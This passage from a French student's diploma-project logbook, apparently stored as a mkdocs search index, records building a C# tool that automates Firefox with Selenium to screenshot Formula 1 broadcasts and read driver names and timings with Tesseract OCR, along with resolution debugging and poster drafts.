IWebDriver driver = new FirefoxDriver(); // Navigate to the specified URL driver.Navigate().GoToUrl(\"https://www.example.com\"); // Do something with the driver (e.g., find elements or take screenshots) // Quit the driver driver.Quit(); Je ne demande que ca ET MEME CA CA NE VEUT PAS FONCTIONNER VOIWENB)IWUQENV Oui je suis un peu \u00e9nerv\u00e9 ca se voit? A bon? Et maintenant NUGGET ne fonctionne plus... j'en peux plus la. Je ne peux plus t\u00e9l\u00e9charger de librairie sur aucun de mes projets... J'ai tent\u00e9 de supprimer le fichier de config et red\u00e9marrer Visual Studio mais cela ne fait rien. J'ai aussi tent\u00e9 de faire un 'nugget restore' toujours rien. Bon apparemment je ne suis pas le seul qui ne peut pas acc\u00e8der \u00e0 Nuget donc bon c'est pas juste chez moi qu'il y a un soucis. Mais m\u00eame en mettant ma 4G pour me connecter, je n'arrive pas \u00e0 acc\u00e8der \u00e0 certains sites y compris Nuget et je ne peux pas download de librairies... Je ne comprends pas ce qui se passe et du coup je ne peux juste pas bosser... J'ai red\u00e9marr\u00e9 trois fois mon pc et visual studio, j'ai essay\u00e9 de changer mes settings DNS etc... impossible de bosser. Je crois que je n'aurais pas du me reveiller aujourd'hui. Bon je vais tenter d'avancer sur mon poster en attendant que le r\u00e9seau soit en meilleur \u00e9tat. Lundi 1 Mai 2023 Bon je bosse depuis chez moi donc j'esp\u00e8re que Nuget va mieux fonctionner. Apr\u00e8s un weekend \u00e0 r\u00e9fl\u00e9chir au sujet de cette resolution je me suis dit deux choses. La seule personne sur internet que j'ai vu avoir le meme soucis avait une r\u00e9solution de 1920x1200 comme moi. Cela veut donc s\u00fbrement dire que le soucis vient de cette r\u00e9solution de laptop comme moi. Si vraiment je n'arrive pas dans un premier temps \u00e0 faire fonctionner le Headless correctement, je peux toujours laisser la page de c\u00f4t\u00e9 et m'occuper du reste du programme. Certes ca serait vraiment infernal d'avoir \u00e0 garder une page chrome ouvert en tous temps et en plus elle doit \u00eatre en plein \u00e9cran mais bon... Si il n'y a vraiment pas d'autres solutions malheureusement je serai bien oblig\u00e9. BON ! JE N'ARRIVE MEME PLUS A FAIRE UN PROJET QUI UTILISE SELENIUM ET QUI MARCHE JE VAIS FAIRE BR\u00dbLER GENEVE. C'est pas possible serieux, je ne comprends pas j'essaie tout ce que je trouve et impossible de juste lancer firefox c'est du grand nimporte quoi. Je prend les m\u00eame putain de librairies que sur les autres projets les m\u00eames versions, je prend le m\u00eame exact code. Sur le nouveau projet impossible de le faire fonctionner. Je commence \u00e0 croire que on essaie de me faire p\u00eater un cable. Du coup dans un \u00e9lan de d\u00e9sespoir je vais tenter de passer sur une autre librairie qui avec un peu de chance marche et en plus me permettrais de prendre des foutues screenshot dans le bon format. Les deux seules librairies qui pourraient potentiellement faire l'affaire sont les librairies : PhantomJS CefSharp Je vais les tester et simplement prier pour qu'elles fonctionnent et que je puisse faire ce que je veux avec. Alors pour le moment avec CEFSharp j'arrive \u00e0 lancer une instance de chrome et prendre une screenshot avec ce code : CefSettings settings = new CefSettings(); settings.CachePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), \"CefSharp\\\\Cache\"); // Set cache path settings.LogSeverity = LogSeverity.Disable; // Disable logging Cef.Initialize(settings); // Initialize CEF using (var browser = new ChromiumWebBrowser(\"www.google.com\", new BrowserSettings())) // Launch Chromium in off-screen mode { browser.Load(\"https://www.example.com\"); // Navigate to the test URL browser.Size = new Size(1920, 1080); // Set the browser size to 1920x1080 browser.ScreenshotAsync().ContinueWith(task => { var bitmap = task.Result; bitmap.Save(\"screenshot.png\", System.Drawing.Imaging.ImageFormat.Png); // Take a screenshot and save it as a PNG file }).Wait(); } Cef.Shutdown(); // Shutdown CEF Avec ca il faut ces using : using System; using System.Drawing; using System.IO; using CefSharp; using CefSharp.OffScreen; C'est assez prometteur m\u00eame si il faut encore beaucoup pour remplacer selenium. Ah bah lol en fait non on peut pas utiliser cette librarie pour faire tourner firefox... J'EN AI MARRE J'AVAIS CHERCHE PRECISEMENT UNE LIB QUI MARCHE AVEC FIREFOX Et phantomJS non plus ne fonctionne pas avec firefox... J'en ai marre. Donc je vais plut\u00f4t partir sur la librairie GeckoFX qui semble pouvoir contr\u00f4ler une instance de firefox. Mais j'avais justement pris un putain de projet C# et pas JS pour ne pas me taper ces probl\u00e8mes de librairies... Et si cette option ne fonctionne pas mon dernier espoir sera de directement int\u00e9ragir avec le geckodriver.exe et la ca risque de pas \u00eatre dr\u00f4le. JE NE COMPRENDS RIEN !!!!! Ca n'a aucun sens la doc est inexistante le seul lien qui pourrait amener sur une doc envoie sur la page principale de bitbucket. Tous les exemples de code que je trouve ne fonctionnent pas. Je n'arrive \u00e0 rien je commence \u00e0 devenir fou. Tout ce travail pour rien c'est pas possible. M\u00eame en essayant directement d'int\u00e9ragir avec le process geckodriver.exe je ne peux pas arriver \u00e0 mes fins. J'arrive \u00e0 lancer le service et tout, mais je n'arrive pas \u00e0 vraiment contr\u00f4ler ce qu'il se passe donc impossible de venir prendre des screenshot. Je ne sais tout simplement pas quoi faire ... Je suis bloqu\u00e9. Je me suis cass\u00e9 la t\u00eate \u00e0 faire un truc qui marchait bien avec selenium et tout. Mais maintenant plus rien ne fonctionne du jour au lendemain et il n'y a simplement aucune alternative. Je vais essayer de changer directement le projet Selenium_Clean mais bon ca va pas \u00eatre dr\u00f4le. Ok alors j'ai tout repris depuis le d\u00e9but et je crois que j'ai enfin une solution. Pour la trouver j'ai re-essay\u00e9 toutes les techniques que j'avais tent\u00e9 avant mais dans l'ordre et en les isolant \u00e0 chaque fois. Cela inclus : Tenter de changer la densit\u00e9 de pixels. En effet je me suis dit que comme la r\u00e9solution \u00e9tait plus basse le soucis \u00e9tait que le virtual screen avait simplement une DPI r\u00e9duite. profile.SetPreference(\"layout.css.devPixelsPerPx\", \"2.0\"); J'ai aussi tent\u00e9 de r\u00e9duire \u00e0 un seule le nombre de process de Firefox. J'ai pu lire sur internet que parfois cela pouvait influer sur les performances du renderer. profile.SetPreference(\"dom.ipc.processCount\", 1); Ensuite j'ai tent\u00e9 tout b\u00eatement de rajouter dans la liste des arguments la taille voulue de l'\u00e9cran. options.AddArgument(\"--window-size=1920,1080\"); Mais comme cela ne foncionnait pas, je me suis rabattu sur un script JS pour tenter de forcer la fen\u00eatre \u00e0 \u00eatre plus grande. js.ExecuteScript(\"window.resizeTo(1920, 1080);\"); Comme cela n'a pas march\u00e9 j'ai pu lire que cela pouvait \u00eatre la taille int\u00e9rieure qui devait \u00eatre chang\u00e9e js.ExecuteScript(\"window.innerWidth = 1920; window.innerHeight = 1080;\"); Encore une fois sans succ\u00e8s. J'ai ensuite tent\u00e9 d'utiliser trois autres versions du GeckoDriver, 0.27,0.26,0.25 et aucune ne m'aidait. Mais en fait la seule chose qui a chang\u00e9 quoi que ce soit \u00e9tait la technique suivante : Changer la window size en utilisant : options.AddArgument(\"--width=1920\"); options.AddArgument(\"--height=1200\"); Ca ne marchait pas car j'utilisais une autre methode pour resize en m\u00eame temps, qui elle ne marchait pas mais qui emp\u00eachait celle la de marcher. Ensuite le soucis que j'avais c'est que en mettant 1920-1080 je me retrouvais avec 1920-998 ou un truc du genre ce qui n'\u00e9tait pas normal alors je me disais que cette technique ne marchait pas non plus et je l'ai pass\u00e9e. Alors tout n'est pas encore gagn\u00e9, il faut que j'arrive \u00e0 impl\u00e9menter ca dans un plus gros projet et que la vid\u00e9o puisse \u00eatre prise seule. Demain je m'occupe de ca. Mardi 2 Mai 2023 Bon aujourd'hui je change le programme principal. Le soucis que j'ai c'est que en ajoutant ce syst\u00e8me de resize, maintenant la page fait 100x100 et est grise. Il doit y avoir une technique que j'ai oubli\u00e9 de retirer ou un comportement un peu bizarrre. Bon clairement je ne sais pas QUI DECIDE DE ME POURRIR LA VIE mais il est fort. J'ai t\u00e9l\u00e9charger EXACTEMENT les m\u00eames librairies que sur mon autre projet et j'utilise l'EXACT m\u00eame geckodriver.exe mais dans le projet principal impossible de lui faire chier une image m\u00eame avec l'EXACT m\u00eame code. POURQUOI VOUS ME FAITES CA????= La je ne comprend vraiment pas ce qui peut se passer pour que rien ne fonctionne alors que tout est pareil. JE VIENS DE TOUT VERIFIER TOUT EST PAREIL JE NE COMPRENDS PAS. Bon apr\u00e8s avoir supprim\u00e9 l'int\u00e9gralit\u00e9 de ma classe Emulator cela semble marcher un peu mieux. Je ne vais pas m'\u00e9tendre sur la castrophe niveau temps que cela repr\u00e9sente. Si au moins j'arrive \u00e0 faire fonctionner quelque chose je suis content. Maintenant j'ai un soucis un peu sp\u00e9cial. Depuis que j'ai chang\u00e9 la r\u00e9solution, il semble que le programme aie du mal \u00e0 cliquer sur l'icone de settings. En prenant des screenshots du moment ou l'erreur apparait, j'ai pu me rendre compte que en fait le stream est toujours en train de charger et c'est pour ca que on arrive pas \u00e0 trouver le bouton : \"ERROR 105\" \"ERROR 105\" Je pense que je n'ai le soucis que maintenant car le flux en 1080p se lance moins vite. Je vais essayer de voir si je peux detecter un \u00e9l\u00e9ment d'HTML qui correspond au loading comme ca je peux attendre qu'il disparaisse. Sinon je peux aussi juste essayer de trouver le bouton en boucle pendant une dixaine de secondes. Bon la j'essaie pendant genre plus de 50 secondes et ca ne marche toujours pas. Il semblerait que au final le probl\u00e8me vienne du GP d'azerbidjan. En effet, quand je teste un autre Grand Prix tout va bien. ET MERDE ! J'ai r\u00e9ussi \u00e0 avoir des images en 1080P mais d\u00e9s que je passe l'image en plein \u00e9cran c'est de nouveau du 1366X768 Avant de mettre en plein \u00e9cran: \"Before fullscreen\" Apr\u00e8s: \"After fullscreen\" On peut voir sur l'image que l'option 1080P est effectivement bien selectionn\u00e9e mais il doit y avoir un param\u00e8tre de Firefox qui s'occupe de la r\u00e9solution d'un player vid\u00e9o. Il va juste falloir trouver ce param\u00eatre... J'ai essay\u00e9 d'utiliser : Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight); Sans succ\u00e8s. options.AddArgument(\"--start-maximized\"); Pareil Driver.Manage().Window.Maximize(); Toujours rien profile.SetPreference(\"full-screen-api.ignore-widgets\", true); Nada profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); Toujours pas J'ai vraiment cru que j'avais trouv\u00e9 la solution en trouvant cette commande profile.SetPreference(\"full-screen-api.enabled\", true); Mais non toujours pas... Je commence \u00e0 perdre patience. C'EST BON. Apr\u00e8s litt\u00e9rallement 3h de debugging avec M.Bonvin (Que je remercie IMMENSEMENT) on a r\u00e9ussi \u00e0 trouver au fin fond d'un thread github que la valeur \u00e9tait hard cod\u00e9e dans les variables d'environnement et que donc quoi que je fasse je n'aurais pas pu le changer. En fait la seul moyen de tout r\u00e8gler a \u00e9t\u00e9 de changer les variables d'environnement de ma machine: MOZ_HEADLESS_WIDTH et MOZ_HEADLESS_HEIGHT . Et ce qu'il y a de bien c'est que maintenant je peux mettre de la 4K et cela permet de faire un meilleur upscaling. Recrutement Payerne Mai 2023 J'ai du faire mon recrutement \u00e0 Payerne Mercredi et Jeudi. Si vous \u00eates curieux je peux vous dire que comme il n'y avait presque plus de places cet \u00e9t\u00e9 je ferai Canonnier Lance mines. C'\u00e9tait assez frustrant d'avoir perdu deux jours de travail mais on va faire avec. Vendredi 5 Mai 2023 Bon malgr\u00e9s les courbatures il faut que je me mette au boulot un peu serieusement par ce que sinon ca va \u00eatre compliqu\u00e9 de rattraper mon retard. La derni\u00e8re fois si je me souviens bien j'avais r\u00e9ussi \u00e0 trouver un moyen de prendres des images en bonne r\u00e9solution. Il faut maintenant que je commence \u00e0 faire fonctionner la calibration et ce qui serait bien ca serait que je commence \u00e0 ajouter la partie OCR au projet. Il faut que je me d\u00e9p\u00eache car Lundi je dois m'occuper du Poster. OK j'ai compris le soucis que j'avais quand j'essayais de faire la calibration. J'avais mis l'image en ZOOM ce qui fait que si la hauteur n'\u00e9tait pas la bonne, l'image \u00e9tait recentr\u00e9e ce qui fait que cela faussait totalement les r\u00e9sultats. Quand on fait en sorte que l'image prenne toute la place, les coordonn\u00e9es sont prises correctement. Voici un exemple d'ou en est la partie calibration. \"Exemple settings UI\" Normalement il me suffit d'impl\u00e9menter les windows, et on devrait relativement facilement ajouter les pilotes. Et voila. J'ai pu impl\u00e9menter les windows et les pilotes. Et je peux aussi exporter des presets et les loader. Bon le loading est un peu beugg\u00e9 au niveau de l'affichage mais il semble qu'il fonctionne bien quand je save les images. Lundi je m'occupe du poster etc.. mais je pense que la suite va \u00eatre l'impl\u00e9mentation de l'OCR. Lundi 8 Mai 2023 Aujourd'hui c'est journ\u00e9e Poster. Je pense que je ne vais pas finir la journ\u00e9e content car les limitations sont un peu trop pr\u00e9sentes. J'ai fait une version que Garcia pourrait accepter, c'est \u00e0 dire en noir et blanc et avec un tout petit peu plus de d\u00e9tail. \"Poster V3\" Le truc c'est que en blanc je trouve que ca ne marche pas super. Et le concept d'avoir trois parties au projet qui se posent autour d'un circuit c'est peut-\u00eatre pas la meilleure id\u00e9e. Je me suis dit que la bonne id\u00e9e serait peut-\u00eatre de prendre un autre circuit pour qu'il y aie bien trois parties : \"Poster V4\" Clairement ce poster doit faire partie des pires. C'est pas clair et ca part dans tous les sens. Je vais essayer avec un autre layout de circuit. \"Poster V5\" Je me suis ensuite dit que le circuit n'\u00e9tait peut \u00eatre tout simplement pas une bonne id\u00e9e. J'ai donc essay\u00e9 de faire quelque chose de plus classique avec juste un peu de background pour qu'on puisse \u00e9viter le soucis de la page blanche derri\u00e8re : \"Poster V6\" Puis je me suis dit que finalement le circuit me manquait. Alors j'ai d\u00e9cid\u00e9 de combiner le background et le circuit ainsi que simplifier l\u00e9g\u00e8rement les diagrammes en retouchant un peu tout le reste on pouvait arriver \u00e0 quelque chose de sympatique : \"Poster V7\" Je ne suis pas content \u00e0 100% mais bon je pense que je vais m'en satisfaire. Pour donner une id\u00e9e de la gal\u00e8re que c'est de cr\u00e9er un poster, voici ce \u00e0 quoi ressemble mon espace de travail Figma : \"Bordel Figma\" Je ne suis pas un graphiste et ca se voit '^^. Je pense que comme il me reste un peu de temps aujourd'hui, je vais faire un peu de documentation de la partie r\u00e9cup\u00e8ration d'images. En effet, je pense que je n'aurai plus besoin de changer grand chose \u00e0 ce niveau. Mais je ne ferai pas la partie analyse fonctionnelle car l'interface n'est clairement pas termin\u00e9e. En fait j'avais oubli\u00e9 mais j'ai eu un rendez vous m\u00e9dical du coup je n'ai pas eu trop le temps de faire la doc que je voulais. Mais au moins je pense avoir finit mon travail sur le poster et le abstract en Anglais qui sont les deux gros livrables \u00e0 venir. Mardi 9 Mai 2023 Bon je viens de me rendre compte que apparemment on doit rendre l'abstract anglais, le Poster, ET LE PROJET. Je pense que mes deux jours \u00e0 l'arm\u00e9e m'ont fait perdre un peu la notion du temps car j'avais l'impression que l'evaluation interm\u00e9diaire 1 \u00e9tait il y a genre moins d'une semaine. Donc aujourd'hui je ne vais pas trop avancer sur le code et vraiment me focus sur la documentation de la r\u00e9cup\u00e8ration d'images. Je pense que je vais aussi ajouter la partie calibration \u00e0 la documentation. Je pense que c'est important que je prenne le temps maintenant car sinon le prof aura l'impression que ca n'a pas trop avanc\u00e9 depuis la derni\u00e8re fois. Et puis je pense que la partie calibration et r\u00e9cup\u00e8ration d'images ne va pas trop changer et la partie calibration encore moins. La partie anglaise je fais la revoir un peu mais je l'avais d\u00e9ja faite pendant les premiers jours alors ca devrait aller. Pour le rendu il nous \u00e9tait demand\u00e9 de fournir un fichier PDF avec tout dedans avec une table des mati\u00e8res notre code source etc... Pour ce faire j'ai du changer le mkdocs.yml et installer des packages. Voici les changements :: site_name: Documentation Track Trends site_author: Rohmer Maxime copyright: \u00a9CFPTI Tech2 theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html - pymdownx.highlight plugins: - glightbox - search - img2fig - with-pdf: cover_subtitle: Vroum Vroum enabled_if_env: ENABLE_PDF_EXPORT - annexes-integration: annexes: # Required (at least 1) - ConfigurationTool.cs: Code/ConfigurationTool.cs # An path to an annex with its title - DriverGapToLeaderWindow.cs: Code/DriverGapToLeaderWindow.cs # An path to an annex with its title - DriverPositionWindow.cs: Code/DriverPositionWindow.cs # An path to an annex with its title - F1TVEmulator.cs: Code/F1TVEmulator.cs # An path to an annex with its title - Program.cs: Code/Program.cs # An path to an annex with its title - Window.cs: Code/Window.cs # An path to an annex with its title - DriverData.cs: Code/DriverData.cs # An path to an annex with its title - DriverLapTimeWindow.cs: Code/DriverLapTimeWindow.cs # An path to an annex with its title - DriverSectorWindow.cs: Code/DriverSectorWindow.cs # An path to an annex with its title - Form1.cs: Code/Form1.cs # An path to an annex with its title - Reader.cs: Code/Reader.cs # An path to an annex with its title - Zone.cs: Code/Zone.cs # An path to an annex with its title - DriverDrsWindow.cs: Code/DriverDrsWindow.cs # An path to an annex with its title - DriverNameWindow.cs: Code/DriverNameWindow.cs # An path to an annex with its title - DriverTyresWindow.cs: Code/DriverTyresWindow.cs # An path to an annex with its title - OcrImage.cs: Code/OcrImage.cs # An path to an annex with its title - Settings.cs: Code/Settings.cs # An path to an annex with its title - recoverCookiesCSV.py: Code/recoverCookiesCSV.py # An path to an annex with its title Je remercie Monsieur Briard le sultan officiel de Mkdocs de la classe de m'avoir aid\u00e9 pour cette partie et avoir cr\u00e9\u00e9 un plugin qui me permet de mettre mon code source directement dans le pdf. Bon au final j'ai quand m\u00eame chang\u00e9 mon poster \"Poster V8\" Mais je suis trop attach\u00e9 \u00e0 l'ancien concept alors je vais plut\u00f4t utiliser ca : \"Poster V9\"","title":"Journal de bord"},{"location":"jdb.html#journal-de-bord","text":"","title":"Journal de bord"},{"location":"jdb.html#mercredi-29-mars-2023","text":"Premier jour du travail de dipl\u00f4me. Nous avons eu un briefing de mr Garcia et nous avons pu commencer \u00e0 pr\u00e9parer le travail. Nous avons eu les diff\u00e9rents fichiers nescessaires \u00e0 la bonne r\u00e9alisation du projet et je me suis mis \u00e0 faire les fichiers nescessaires La premi\u00e8re chose a \u00e9t\u00e9 de faire ce mkdocs dans lequel j'ai mis un fichier yml plut\u00f4t standart qui risque de changer au fur et \u00e0 mesure. Voici le premier yml : site_name: Documentation Diplome theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html plugins: - glightbox - with-pdf Voici un example de \u00e0 quoi ca ressemble en forme de site \"Exemple mkdocs\" Ensuite il m'a fallu faire une version plus \u00e0 jour de mon cahier des charges car je n'y avait pas touch\u00e9 depuis novembre. J'ai envoy\u00e9 un mail \u00e0 mes enseignants pour qu'ils puissent y jeter un oeuil pour \u00eatre s\u00fbr que je n'ai rien chang\u00e9 qui les d\u00e9rangent. Monsieur Jayr m'a demad\u00e9 \u00e0 l'occasion de lui faire un planning type Gantt alors je me suis mis \u00e0 la t\u00e2che. J'ai fait un planning pr\u00e9visionnel et une l\u00e9gende les deux sont dispo dans le dossier planning de ce repertoire. Ensuite je me suis mis \u00e0 tout mettre sur git. A commencer par ce repertoire Et c'est deja la fin de la journ\u00e9e ! Demain j'avance un peu sur la doc avec ce que je peux d\u00e9ja remplir et je finis de pr\u00e9parer ce dont j'ai besoin pour commencer \u00e0 coder.","title":"Mercredi 29 Mars 2023"},{"location":"jdb.html#jeudi-30-mars-2023","text":"Aujourd'hui selon le planning je dois me charger des dernirers pr\u00e9paratifs pour commencer correctement. J'ai fait expr\u00e8s de prenre du temps pour ca au d\u00e9but pour ne pas me cr\u00e9er de soucis plus loin pendant le travail. Je vais envoyer par mail le planning que j'ai fait \u00e0 mes suiveurs. Ensuite je vais m'attaquer au squelette de la docmentation. Je vais essayer de remplir tout ce que je peux remplir dans un premier temps car cela tout ca de fait pour plus tard quitte \u00e0 modifier quelques aspects au fur et \u00e0 mesure. J'ai aussi d\u00e9sactiv\u00e9 mkdocs with pdf par ce que les r\u00e9sultats ne sont vraiment pas ceux que j'attends et cela ralentis \u00e9norm\u00e9ment le d\u00e9ploiment. J'ai aussi rassembl\u00e9 mes croquis pour le poster : \"Croquis Poster 1\" \"Croquis Poster 2\" On peut voir que dans un premier temps j'ai tent\u00e9 de faire un poster un peu plus stylis\u00e9 et marketing. Cependant apr\u00e8s avoir discut\u00e9 avec Mr Garcia et diff\u00e9rents profs dont un de l'HEPIA et ils m'ont indiqu\u00e9 que ce qui \u00e9tait attendu \u00e9tait moins du marketing qu'un diagramme de fonctionnement. On peut voir sur les derniers posters que le cot\u00e9 technique ressort de plus en plus. Le but sera de faire une version encore plus technique ou on peut voir les diff\u00e9rents fonctionnements de l'application avec les technologies utilis\u00e9es. Le d\u00e9fi cela va \u00eatre de faire un joli poster qui soit en m\u00eame temps vendeur et en m\u00eame temps rempli techniquement. Oh et j'ai eu un probl\u00e8me ou mon calvier et ma souris ne voulaient d'un coup plus fonctionner. Dans mon cas c'\u00e9tait un probl\u00e8me de power management des ports. J'ai eu le soucis sur mon pc fixe \u00e0 la maison et sur mon pc portable \u00e9galement. En gros de ce que j'ai compris le soucis c'est que le pc croit que un port est trop solicit\u00e9 niveau puissance et du coup d\u00e9cide de couper l'alimentation du port USB. J'ai pu r\u00e8gler le soucis en allant dans le device manager sous universal bus controller sous power management et en d\u00e9cochant la case qui indique que windows peut d\u00e9sactiver ce port. Je ne conseille pas ce fix si vous avez des composants de mauvaise qualit\u00e9 car cela pourrait \u00eatre une vraie alerte cependant le fait que mes composants sont plut\u00f4t haut de gamme et le fait que mon clavier et ma souris le fassent en m\u00eame temps et que ils fonctionnaient tr\u00e8s bien depuis plus de 4 ans me font penser que c'est juste une nouvelle mise a jour de windows qui est p\u00e9nible. Demain je vais pouvoir commencer \u00e0 coder pour de bon.","title":"Jeudi 30 Mars 2023"},{"location":"jdb.html#vendredi-31032023","text":"Aujourd'hui on s'occupe de la PT2 qui est la programmation de la r\u00e9cup\u00e8ration des informations des images. Je vais tester IronOcr Source : https://www.c-sharpcorner.com/article/ocr-using-tesseract-in-C-Sharp/ Doc : https://ironsoftware.com/csharp/ocr/docs/ Examples : https://ironsoftware.com/csharp/ocr/examples/simple-csharp-ocr-tesseract/ Avant d'utiliser la librairie je me demande si je dois utiliser un peu de post processing pour aider \u00e0 la reconnaissance. Je peux soit utiliser l'image crop\u00e9e directement : \"Image non trait\u00e9e\" Soit avec un filtre pour passer en noir et blanc laxiste \"Image trait\u00e9e laxiste\" Soit avec un filtre pour passer en noir et blanc stricte \"Image trait\u00e9e stricte\" Il va falloir faire des tests avec tous les noms et les chiffres pour trouver le plus efficace. Bon malheureusment Iron OCR semblait \u00eatre une bonne alternative mais c'est une librairie priv\u00e9e qui demande une license pour \u00eatre utilis\u00e9e. Il va falloir trouver autre chose. En utilisant la librairie \"Tesseract\" qui existe on peut faire de la reconnaissance de texte avec un code plut\u00f4t simple : TesseractEngine engine = new TesseractEngine(tessDataFolder.FullName,\"eng\", EngineMode.Default); var tessImage = Pix.LoadFromMemory(ImageToByte(sample)); Page page = engine.Process(tessImage); string text = page.GetText(); Voici la methode ImageToByte : https://stackoverflow.com/questions/7350679/convert-a-bitmap-into-a-byte-array public static byte[] ImageToByte(Image img) { using (var stream = new MemoryStream()) { img.Save(stream, System.Drawing.Imaging.ImageFormat.Png); return stream.ToArray(); } } Voici le code pour traiter plusieurs textes sur une seule image : Page page = engine.Process(tessImage); // Get the iterator for the page layout using (var iter = page.GetIterator()) { // Loop over the elements of the page layout iter.Begin(); do { // Declare a Rect variable to hold the bounding box Rect boundingBox; // Get the bounding box for the current element if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { g.DrawRectangle(Pens.Red,new Rectangle(boundingBox.X1,boundingBox.Y1,boundingBox.Width,boundingBox.Height)); } // Get the text for the current element var text = iter.GetText(PageIteratorLevel.Word); tbxResult.Text += text.ToUpper() + Environment.NewLine; } while (iter.Next(PageIteratorLevel.Word)); } Etonnament, avec plus de texte, des noms qui \u00e9taient autrefois mal reconnus sont parfaitement interpr\u00eat\u00e9s. Par exemple voici un exemple de reconnaisance de texte sur tous les pilotes : \"Screenshot de reconnaisance d'image complete\" On voit que le nom Leclerc est mal reconnu. Mais voici ce que cela donne quand on prend une image qui ne contient que le nom Leclerc : \"Screenshot de reconnaissance d'image crop\u00e9e\" On voit ici que le nom Leclerc est tr\u00e8s bien reconnu. Dans le premier exemple on peut voir que Tsunoda est reconnu comme \"Reticin\" ce qui n'est pas exactement pareil (lol) Et quand on isole le nom Tsunoda dans une image seule : \"Screenshot de reconnaissance de Tsunoda\" Il le lit \"RETLELYY\" ce qui n'est toujours pas exactement ca... Une meilleure r\u00e9solution pourrait peut-\u00eatre r\u00e9soudre le probl\u00e8me en partie. Jusqu'ici les images \u00e9taient en presque 720P ce qui donne ceci : \"Tsunoda en 720P\" Et j'ai lanc\u00e9 une r\u00e9cup\u00e8ration d'images en 1080p pour r\u00e9cup\u00e8rer ceci : \"Tsunoda en 1080P\" On peut voir une certaine diff\u00e9rence tout de m\u00eame. Et quand on lance la reconnaissance : \"Reconnaissance Tsunoda en 1080P\" \"Tsunoda n'est plus \u00e9crit \"RETLELYY\" mais \"TSUNDDA\" ce qui n'est pas parfait mais qui est d\u00e9ja beaucoup mieux. J'ai essay\u00e9 de mettre l'engine de Tesseract en mode \"JPN\" comme Tsunoda est un nom japonais mais sans succ\u00e8s j'ai le m\u00eame r\u00e9sultat. Comme la r\u00e9solution est meilleure je me suis dit que peut \u00eatre le filtre de passage en noir et blanc pourrait aider. J'ai \u00e9crit cette petite methode pour convertir l'image en noir et blanc : private static Bitmap ConvertToBlackAndWhite(Bitmap inputBmp) { const int BLACK_TO_WHITE_TRESHOLD = 200; Bitmap result = new Bitmap(inputBmp.Width, inputBmp.Height); for (int y = 0; y < inputBmp.Height; y++) { for (int x = 0; x < inputBmp.Width; x++) { Color pixelColor = inputBmp.GetPixel(x,y); if (pixelColor.R <= BLACK_TO_WHITE_TRESHOLD && pixelColor.G <= BLACK_TO_WHITE_TRESHOLD && pixelColor.B <= BLACK_TO_WHITE_TRESHOLD) { pixelColor = Color.FromArgb(0,0,0); } else { pixelColor = Color.FromArgb(255,255,255); } result.SetPixel(x,y,pixelColor); } } return result; } Rien de bien dingue mais cela fonctionne et je peux jouer avec le BLACK_AND_WHITE_TRESHOLD pour changer son comportement. J'ai dabord test\u00e9 avec un treshold de 100 et le programme a r\u00e9ussi \u00e0 me sortir Tsunoda en deux mots ce qui \u00e9tait d\u00e9ja tr\u00e8s encourageant. Et apr\u00e8s avoir augment\u00e9 le Treshold... Tada : \"Tsunoda 1080P avec filtre\" Le programme arrive bien \u00e0 reconnaitre TSUNODA. Je pense que cette tactique ne fonctionnait pas avant car la resolution \u00e9tait trop faible et l'aliasing se m\u00ealait trop avec le texte pour \u00eatre utilisable. Cependant cette technique ne fonctionne pas sur tous les noms. Par example avec Leclerc : \"Leclerc 1080P avec filtre\" On r\u00e9cup\u00e8re \"Leeler'c\" ce qui n'est pas bon du tout. Mais en modulant le Treshold (ici \u00e0 150) On peut de nouveau voir Leclerc \u00eatre reconnu correctement \"Leclerc 1080P avec filtre 2\" Je pense que pour avoir de bons r\u00e9sultats il va falloir faire un algo qui : D\u00e9coupe l'image en autant de plus petites images pour avoir un mot par image. Teste voir si avec l'image originale un nom correspond \u00e0 la liste de pilotes existant. Si cela ne marche pas, on applique le filtre en modulant le Treshold. Dans le cas ou on aurait pas un match parfait on fait un algo qui cherche le nom le plus proche qui existe dans la liste de noms donn\u00e9s. Seulement voila, il n'y a pas que des lettres que l'on veut r\u00e9cup\u00e8rer. On veut surtout pouvoir r\u00e9cup\u00e8rer les chiffres. Pour les chiffres on va avoir des soucis \u00e9galement... Si on essaie directement la m\u00eame technique sans filtre on a des r\u00e9sultats comme celui ci : \"Tentative de reconnaisance du timing\" La virgule a tendeance \u00e0 se barrer ce qui est particuli\u00e8rement probl\u00e9matique. Cependant comme les chiffres ont beaucoup moins de possibilit\u00e9es que les lettres et qu'il n'y a pas de probl\u00e8me de langue on devrait pouvoir travailler \u00e0 faire des r\u00e8glage que l'on pourra ensuite utiliser. Avec un Treshold de 165 on arrive presque \u00e0 quelque chose d'int\u00e9ressant : \"Tentative 2 de reconnaissance du timing\" Le + n'est clairement pas compris mais ca n'est pas emb\u00eatant car c'est souvent redondant. On arrive cependant \u00e0 isoler 3 et 259. M\u00eame si la virgule n'est pas comprise cela veut dire qu'il est tout de m\u00eame possible de discriminer les secondes des milisecondes. Maintenant avec un temps au tour : \"Reconnaissance du timing au tour\" On arrive sans rien changer aux param\u00eatres \u00e0 isoler minutes secondes et milisecondes. Il semble que la reconnaissance de chiffre soit bien plus efficace que la reconnaissance de lettres. Il va falloir faire un test \u00e0 plus grande \u00e9chelle avec plus d'image pour se rendre compte de la precision. Demain ce qui serait bien cela serait que je fasse un jeu d'images avec des valeurs connues et que je fasse une batterie de tests pour voir \u00e0 quel point je peux faire confiance \u00e0 la reconnaissance des chiffres. Automatiser un syst\u00e8me de test de la sorte me sera tr\u00e8s utile dans le futur pour v\u00e9rifier la non regression de ma reconnaissance de texte quand je tenterai d'y faire des changements. Je suis toujours curieux cependant de voir comment le programme se d\u00e9brouille avec les nombres de tours qui se trouvent dans les icones de pneus.","title":"Vendredi 31/03/2023"},{"location":"jdb.html#lundi-3-avril","text":"Aujourd'hui on va faire un programme qui permet de cr\u00e9er un dataset 